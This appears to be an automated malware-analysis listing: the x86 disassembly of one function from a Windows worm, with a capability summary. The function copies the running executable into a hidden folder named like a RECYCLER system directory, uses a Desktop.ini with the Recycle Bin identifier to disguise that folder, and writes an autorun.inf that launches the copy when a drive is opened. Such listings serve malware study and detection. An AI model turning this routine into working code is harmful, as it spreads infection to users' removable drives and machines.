Function at 0x40fc4d
Capabilities:
Copy file
Create directory
Delete file
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x514
call fcn.0040fc03
and dword [ebp - 0x314], 0
jmp 0x40fc71
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x200
jae 0x40fc8d
mov eax, dword [ebp - 0x314]
and byte [ebp + eax - 0x514], 0
jmp 0x40fc64
and dword [ebp - 0x314], 0
jmp 0x40fca3
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x200
jae 0x40fcbf
mov eax, dword [ebp - 0x314]
and byte [ebp + eax - 0x30c], 0
jmp 0x40fc96
push dword [ebp + 8]
lea eax, [ebp - 0x514]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x418728
lea eax, [ebp - 0x514]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40fd3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40fd3d
push 0x80
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40fd3d
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40fd3d
push 1
pop eax
jmp 0x41010c
push 7
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.S_1_6_21_2434476501_1644491937_600003330_1213
lea eax, [ebp - 0x514]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40fdb9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40fdb9
push 0x80
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
jne 0x40fdb9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x40fdb9
push 1
pop eax
jmp 0x41010c
push 7
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str.Desktop.ini
lea eax, [ebp - 0x514]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x80
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 6
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x310], eax
push 0
lea eax, [ebp - 0x10c]
push eax
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
call sub.MSVCRT.dll_strlen
pop ecx
push eax
push str._.ShellClassInfo__r_nCLSID645FF040_5081_101B_9F08_00AA002F954E
push dword [ebp - 0x310]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x40fe6d
push dword [ebp - 0x310]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x41010c
push dword [ebp - 0x310]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x104
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x514]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
lea eax, [ebp + eax - 0x514]
mov dword [ebp - 4], eax
push 0x80
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, dword [ebp - 4]
movsx eax, byte [eax]
cmp eax, 0x5c
je 0x40fede
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
jmp 0x40feca
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
and byte [eax], 0
push 0x4182f4
lea eax, [ebp - 0x514]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x514]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and dword [ebp - 0x314], 0
jmp 0x40ff39
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x200
jae 0x40ff55
mov eax, dword [ebp - 0x314]
and byte [ebp + eax - 0x30c], 0
jmp 0x40ff2c
push str._autorun__r_nopen
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push str.RECYCLER
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str.S_1_6_21_2434476501_1644491937_600003330_1213
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x418880
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x4182f4
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str._r_nicon_SystemRoot__system32SHELL32.dll_4_r_nactionOpen_folder_to_view_files_r_nshellopenOpen_r_nshellopencommand
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str.RECYCLER
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str.S_1_6_21_2434476501_1644491937_600003330_1213
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x418884
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x4182f4
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str._r_nshellopendefault1
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
and dword [ebp - 0x314], 0
jmp 0x41003c
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x200
jae 0x410058
mov eax, dword [ebp - 0x314]
and byte [ebp + eax - 0x514], 0
jmp 0x41002f
push dword [ebp + 8]
lea eax, [ebp - 0x514]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push str._autorun.inf
lea eax, [ebp - 0x514]
push eax
call sub.MSVCRT.dll_strcat
pop ecx
pop ecx
push 0x80
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
push 7
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 1
jae 0x4100cb
push 1
pop eax
jmp 0x41010c
push 0
lea eax, [ebp - 0x10c]
push eax
lea eax, [ebp - 0x30c]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
push eax
lea eax, [ebp - 0x30c]
push eax
push dword [ebp - 0x310]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x41010a
push dword [ebp - 0x310]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
jmp 0x41010c
xor eax, eax
leave
ret